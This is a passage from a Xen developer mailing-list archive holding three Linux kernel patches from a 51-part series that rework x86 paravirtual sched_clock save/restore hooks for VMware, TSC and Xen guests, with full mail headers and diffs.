	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iH-0008D6-GF; Wed, 01 Jul 2026 19:35:13 +0000
Received: by outflank-mailman (input) for mailman id 1350652;
 Wed, 01 Jul 2026 19:35:12 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3dGtFagYKCbkrdZmibfnnfkd.bnlwdm-cdudkkhrsr.wdmoqnidbs.nqf@flex--seanjc.bounces.google.com>)
 id 1wf0iG-000852-7J
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iF-003oQR-9c
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:11 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3dGtFagYKCbkrdZmibfnnfkd.bnlwdm-cdudkkhrsr.wdmoqnidbs.nqf@flex--seanjc.bounces.google.com>)
 id 6a456bbc-2eae-0a2a0a5409dd-0a2a450aa144-36
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:11 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3dGtFagYKCbkrdZmibfnnfkd.bnlwdm-cdudkkhrsr.wdmoqnidbs.nqf@flex--seanjc.bounces.google.com>)
 id 6a456b75-e40e-0a2a450a0019-d155d6cac1a5-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:10 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c7cfa17fe6so22393605ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934389; x=1783539189; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=Vvd9sO5KFA4UCvVy/DPb0p6l2OFovCFuh6GrZNkoHew=;
        b=rUW7+yPq06Rfq50laibByGCSRLoDu4D+V1JdWI1Xom3I5MCiPrF7SoS7xKDu5oSAg7
         Og51WatP2oTdd6MGmQc3dJYfUA3Kb1IXbYXmiGmxjDhK3xyQNmn8lx0jPlr8vy39jG6U
         t0S9xF0RZcHAT04hMjiKvJLSGls16OVqVEOu3IiMf89HgPGqYzE/q4Xu58Vp+l3aa0mN
         4Ysm2ffoQCZyZ89hh9lvrzc7Moqt/8LCiABHquzMnmQ/v1Ao1eDKrX7iUVYeuuI7RdQJ
         cCZntdhi534BHDMOtr/nvbqR+FJdmG2svOWlOISOhz+rckpUE0MQMckPvl8Qc1/mGjVo
         nrJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934389; x=1783539189;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=Vvd9sO5KFA4UCvVy/DPb0p6l2OFovCFuh6GrZNkoHew=;
        b=jjOKiEV5nX9oY6SFr88X7X1dUp1+ikoUEXQFcMp9uC9wdNBCnqLuoVttfu9qFvTX6l
         gRRj26a/QYED1V6uvejNoOWTCnRgMkv8Ait8v9XoSZkJ8BLAdjj8OFWgcWSYb28OydQc
         7sFup02+EkSZN9pUraDRdKaJw5Er0qUQwQg6L6uJJsbRdOFVaCvvQkjbihWww6Zeoi0a
         tLluppF6eMWv4mmIDbVDiQKiltF0xzbLNE1QoyIuepVJyPDv1HM5dPqC0dh8vNaiNbDn
         OFvkeu3k2N1F8tjLAB84nWel/O5tXs+jQhg03D/yfk3fBHG/F5z3jfVl5yhrz45g7Xqu
         N7cw==
X-Forwarded-Encrypted: i=1; AFNElJ/XdURVaByPF805H7kvNMDjghfhvxs65LHN+hTg57fZVUthHyiISwxy0/cXQ4IaC2crzmxdS4SmM9o=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzNAxJ+rzmDS3fJ4ePsUTiPiu2S3rHkw591TI+9+IZl3X9rlP3R
	DXovz1VmqlInnoauLuOJdwpW2+mpnJBp2m82nTJrkFxMeXSws3Rmvm0DD5fjvRTJXlt74lhUtRC
	GtgBbKg==
X-Received: from plho13.prod.google.com ([2002:a17:903:23cd:b0:2bf:1274:c8f])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:41c7:b0:2c9:c46b:129b
 with SMTP id d9443c01a7336-2ca7e67c028mr32017335ad.5.1782934388785; Wed, 01
 Jul 2026 12:33:08 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:55 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-35-seanjc@google.com>
Subject: [PATCH v5 34/51] x86/vmware: NOP-ify save/restore hooks when using
 VMware's sched_clock
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1782934391-3DA71DDE-5ECD9829/13/0
X-purgate-type: clean
X-purgate-size: 1267

NOP-ify the sched_clock save/restore hooks when using VMware's version of
sched_clock.  This will allow extending paravirt_set_sched_clock() to set
the save/restore hooks, without having to simultaneously change the
behavior of VMware guests.

Note, it's not at all obvious that it's safe/correct for VMware guests to
do nothing on suspend/resume, but that's a pre-existing problem.  Leave it
for a VMware expert to sort out.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/cpu/vmware.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 0a3bd90576d4..5c1ccaf4a25e 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -347,8 +347,11 @@ static void __init vmware_paravirt_ops_setup(void)
 
 	vmware_cyc2ns_setup();
 
-	if (vmw_sched_clock)
+	if (vmw_sched_clock) {
 		paravirt_set_sched_clock(vmware_sched_clock);
+		x86_platform.save_sched_clock_state = x86_init_noop;
+		x86_platform.restore_sched_clock_state = x86_init_noop;
+	}
 
 	if (vmware_is_stealclock_available()) {
 		has_steal_clock = true;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350654.1608168 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iJ-0008SC-3S; Wed, 01 Jul 2026 19:35:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350654.1608168; Wed, 01 Jul 2026 19:35:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iI-0008Rq-Si; Wed, 01 Jul 2026 19:35:14 +0000
Received: by outflank-mailman (input) for mailman id 1350654;
 Wed, 01 Jul 2026 19:35:13 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3dWtFagYKCboxjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 1wf0iG-0008CK-Vb
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iG-00BwWE-CE
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:12 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3dWtFagYKCboxjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 6a456be5-5cb7-0a2a0a5109dd-0a2a4509a272-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:12 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3dWtFagYKCboxjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 6a456b76-97e6-0a2a45090019-d155d2c9cc4a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:12 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-847a90cc5e2so1365548b3a.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934390; x=1783539190; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=bEdSCU5mjiDv3GADlP0fC3hWLpC5/Jr71iPsXhxCK9Y=;
        b=wdevGvroHRkQ3LBPn8LO/8Q4/dbwUPa0fQHgC2hH4FLtVNFDnb9Ni99iX3z0t+mE3D
         qOjR17AqEyBxoqluFq6vG86t20Q06VpufcJ8psHLRCPjhOzO1VW9yCKfDGgDoH7cL2gu
         iX1DSW2gUu4J1cmCj7jFKRaQ4POpvv/Te6N6qO4IL03uDsedlCQMyUBZvQy0BFAkjIAT
         MoAG/S4oH/1gqw6RzaPXaZi7VQ04qblXZiFVV6I8BM7zgRAOxrFeDxlAYHAros/0tnsx
         QbPsr4vR4nsVJ/t+mBu9Khh+BirGE55G6zjjdF5i4gaWy20bEj8cKYH+fHC4ICUiVi0L
         H1Vg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934390; x=1783539190;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=bEdSCU5mjiDv3GADlP0fC3hWLpC5/Jr71iPsXhxCK9Y=;
        b=MjB2iEASi6y3yprTDdo3iVEoD2PBItiezdrbIBmi1/DHgDkpsgrS7T3UA43/ENSQjv
         buO9fI1eyVX+nn0vVv28b56Di87lkf3ue58dC1nuCrw/z+uPuHDtfewv5xS7aEXbberU
         pCw1NSmEE9EtkdqTPh5qKVlJUpG4Pzu0bDTo3DwjWz2ZCLaO+iEciEDI7vWYUAtJqe1p
         HF/rClvzmboeqjUZfRchgBU88xSilL6tmqLLUDgxh3yJ627LMAFareFekKrR9gXjFAmt
         9JgvIYgrEWeXVAtVhXBN7ejQB0S8QMp4h+Be6li/f34tjWRdizUMZ5yKzOaQT9awNSoL
         65kw==
X-Forwarded-Encrypted: i=1; AFNElJ9cCcgdlP19wYcydxmaFh88YIjaH3iij11dB49BLUEVTmv1ACuyfvdnbrjiBFuldLV5SbxB/AJ5wAM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwlZXA2GV+Y7BPHtjSKsM3A2GaH0k3oqcVex5ftn48b28Zy8SiG
	gacIfXjZKlET5KwXOfkqEsN2m6q2ZQev+eqDmSb/g/9iafnCEQKqrmgWYYVWeGACJS01DbRhR3L
	LsPJu4g==
X-Received: from pgh6.prod.google.com ([2002:a05:6a02:4e06:b0:c8b:19f4:6228])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:4320:b0:3bf:6c08:fb88
 with SMTP id adf61e73a8af0-3bfed4b9441mr3531733637.56.1782934389876; Wed, 01
 Jul 2026 12:33:09 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:56 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-36-seanjc@google.com>
Subject: [PATCH v5 35/51] x86/tsc: WARN if TSC sched_clock save/restore used
 with PV sched_clock
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934392-573AB986-DA0568FE/13/0
X-purgate-type: clean
X-purgate-size: 1426

Now that all PV clocksources override the sched_clock save/restore hooks
when overriding sched_clock, WARN if the "default" TSC hooks are invoked
when using a PV sched_clock, e.g. to guard against regressions.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index a762cb5cec0f..7473dcab4775 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -947,9 +947,17 @@ EXPORT_SYMBOL_FOR_MODULES(recalibrate_cpu_khz, "p4-clockmod,powernow-k7");
 
 static unsigned long long cyc2ns_suspend;
 
+static __always_inline bool tsc_is_save_restore_needed(void)
+{
+	if (WARN_ON_ONCE(!using_native_sched_clock()))
+		return false;
+
+	return static_branch_likely(&__use_tsc) || sched_clock_stable();
+}
+
 void tsc_save_sched_clock_state(void)
 {
-	if (!static_branch_likely(&__use_tsc) && !sched_clock_stable())
+	if (!tsc_is_save_restore_needed())
 		return;
 
 	cyc2ns_suspend = sched_clock();
@@ -969,7 +977,7 @@ void tsc_restore_sched_clock_state(void)
 	unsigned long flags;
 	int cpu;
 
-	if (!static_branch_likely(&__use_tsc) && !sched_clock_stable())
+	if (!tsc_is_save_restore_needed())
 		return;
 
 	local_irq_save(flags);
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350657.1608177 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iL-0000IV-B0; Wed, 01 Jul 2026 19:35:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350657.1608177; Wed, 01 Jul 2026 19:35:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iL-0000IH-7E; Wed, 01 Jul 2026 19:35:17 +0000
Received: by outflank-mailman (input) for mailman id 1350657;
 Wed, 01 Jul 2026 19:35:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3eWtFagYKCb4wierngksskpi.gsq1ir-hizippmwxw.1irtvsnigx.svk@flex--seanjc.bounces.google.com>)
 id 1wf0iK-0000G4-CG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iJ-00BwWE-PH
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:15 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3eWtFagYKCb4wierngksskpi.gsq1ir-hizippmwxw.1irtvsnigx.svk@flex--seanjc.bounces.google.com>)
 id 6a456bcf-5cb7-0a2a0a5109dd-0a2a4506e1aa-36
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:15 +0200
Received: from [209.85.214.201] (helo=mail-pl1-f201.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3eWtFagYKCb4wierngksskpi.gsq1ir-hizippmwxw.1irtvsnigx.svk@flex--seanjc.bounces.google.com>)
 id 6a456b7a-08de-0a2a45060019-d155d6c9b97d-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:15 +0200
Received: by mail-pl1-f201.google.com with SMTP id
 d9443c01a7336-2c9960cf96cso12694165ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934393; x=1783539193; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=webyAG7YP8cSF0fuLH5JBcVLeBtJwYsS/eijECri5dU=;
        b=OKXqgrGZQFKq4YulmQwZSpjjqpuNeBTc1pQbh5eMBcCkxDLOqdt1oyXBOJY2rWwgEv
         q/1WCNCMGS5WNGCVzl0PA8i26PM7a/bICuNlzi6i+i7Xx+wEfCekH7AZZ8WbcEkYqdwQ
         MPiPmV1kckR8XalKjGtIRiuJUsSk98NPcjlH0sdNEtKLSkFwfb212af+uR7POKRHs7Ut
         JF+N8Q5PeT/t5WlAkc3jj31kLbGhuiKfBRnt0Nwh/FOK6UQRWHyQF7QoozGif1lxvHBZ
         bpNDmzaAtMxzOAwprG3ktdM9+aTQyNoX7SFQ2KjSpjupdpduz3f+akv2bSaF4eujo5JI
         IabQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934393; x=1783539193;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=webyAG7YP8cSF0fuLH5JBcVLeBtJwYsS/eijECri5dU=;
        b=OuRLhE2gMPVdsYMy4T1+712VmMU5LS7Oq+Dkqg7E9AWmAFETzVLVgFzP5GNQ1KRFdi
         nYEAI3qQ4J1pv4vxQ/g2kXBZLsuPDG14h2/kbvEIVQzryJ+uR0ldV4NAsRvxs5txGTTB
         FTdrkgJfAOPkldM5bcoBiVGD+BUBY5T9+FZJTDIUIIq5nEX513XR8GFgTyqob7ekhx+h
         vcQBksnLrv2h+ay3Kvrikm7pY/CAgOc7P3vgksqJppeNw+tpY3Jxdk6kT68H2SlqWHaS
         zibVelB2AJTQaOnIH5QFJxngdODj4+rfpZT7H1NNcGy/V031hcEwZK1vG6xUhYTVnI5m
         Ohfw==
X-Forwarded-Encrypted: i=1; AHgh+Ro0g2pRXCYtn6TstVNPdRaRWIh4rpg/xu88JCfC+bSOp/uW7lQUSIDXvnkydq49kyDCA5jeX52P0f4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwO7b2edzjpOridun9c53Bl16cjkxs09seqHwNx6ExKeOBqdi53
	3BPTL3tBw6SjXk3baSkIz7TvkqtYE1YZYbg/otrjMP7OuzfMRo19/5oPuGczfLEOxa3vHlxhv0c
	p5t1MIg==
X-Received: from plq6.prod.google.com ([2002:a17:903:2f86:b0:2bd:c5f9:e27b])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:d48b:b0:2c9:feea:4e50
 with SMTP id d9443c01a7336-2ca7e71111emr31590225ad.10.1782934393274; Wed, 01
 Jul 2026 12:33:13 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:59 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-39-seanjc@google.com>
Subject: [PATCH v5 38/51] x86/xen/time: Mark xen_setup_vsyscall_time_info() as __init
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934395-C473068D-A2936141/13/0
X-purgate-type: clean
X-purgate-size: 883

Annotate xen_setup_vsyscall_time_info() as being used only during kernel
initialization; it's called only by xen_time_init(), which is already
tagged __init.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/xen/time.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
index 8cd8bfaf1320..bc26f00fc53e 100644
--- a/arch/x86/xen/time.c
+++ b/arch/x86/xen/time.c
@@ -443,7 +443,7 @@ void xen_restore_time_memory_area(void)
 	xen_sched_clock_offset = xen_clocksource_read() - xen_clock_value_saved;
 }
 
-static void xen_setup_vsyscall_time_info(void)
+static void __init xen_setup_vsyscall_time_info(void)
 {
